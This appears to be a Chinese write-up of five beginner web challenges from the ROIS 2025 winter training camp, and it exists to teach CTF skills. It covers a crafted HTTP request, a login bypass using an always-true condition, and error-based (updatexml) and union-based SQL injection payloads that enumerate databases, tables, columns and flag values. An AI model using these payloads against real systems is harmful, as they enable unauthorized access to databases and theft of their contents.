2025ROIS冬令营第一周Web题目讲解

第一题 ez_http

题目:

image-20250203174839094

重点:

  1. HTTP - 基本认证 - huey2672 - 博客园

  2. 自学能力

解答:

1
2
3
4
5
6
7
8
POST /?year=2025 HTTP/1.1
Host: challenge.ctf.rois.team:30667
Authorization: Basic Uk9JUzpST0lT
User-Agent: HappyNewYear
Content-Type: application/x-www-form-urlencoded
Referer: rois.fzu.edu.cn

team=ROIS

第二题 header

题目:

image-20250203180701981

重点:

  1. 稍微了解网络发包流程
  2. 系统性思维

解答:

使用BurpSuite发包并拦截第一个响应包

image-20250203180910713

第三题 error

题目:

image-20250203181018781

重点:

  1. sql注入流程,sql注入点探测

  2. sql注释:SQL注入注释符(#、– 、/**/)使用条件及其他注释方式的探索 - impulse- - 博客园

  3. 报错注入相关知识:文章 - SQL 注入总结 - 先知社区

  4. 学会使用工具,比如sqlmap(进阶)

解答:

第一步:探测是否存在sql注入点,发现是单引号闭合,且是报错注入

第二步:利用updatexml函数进行爆破:

1
2
3
4
5
6
7
8
9
10
11
先爆破出所有的数据库,得到可疑数据库:web
username=Pax'and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),1,31)),1) #&password=Pax

再爆破出web数据库的所有数据表,得到可疑数据表:flag
username=Pax'and updatexml(1, concat(0x7e, mid((select group_concat(table_name) from information_schema.tables where table_schema="web"),1,31)),1) #&password=Pax

再爆破出flag表的所有列:
username=Pax' and updatexml(1, concat(0x7e, mid((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,31)),1) #&password=Pax

直接锁定这两列,爆破web数据库flag表的name和value列的值,flag超过31个字符
username=Pax' and updatexml(1, concat(0x7e, mid((select group_concat(name, value) from flag),1,31)),1) #&password=Pax

第四题 ez_login

题目:

image-20250203192321436

重点:

万能密码

解答:

username=root' or 1=1 #&password=11111

第五题 find_find

题目:

image-20250203192824531

重点:

  1. sql注入基本流程

  2. 联合注入基本知识

解答:

采用万能密码,发现可以登录,但是没有flag

尝试联合注入:

username=1’ union select 1 #&password=1 失败

username=1’ union select 1,2 #&password=1 失败

username=1’ union select 1,2,3 #&password=1 回显 2

然后进行爆破,给出payload:

爆数据库

username=1’ union select 1,group_concat(schema_name),3 from information_schema.schemata #&password=1

爆表

username=1’ union select 1,group_concat(table_name),3 from information_schema.tables where

table_schema=database() #&password=1

爆列

username=1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=”flag” #&password=1

爆数据

username=1’ union select 1,group_concat(name, value),3 from web.flag #&password=1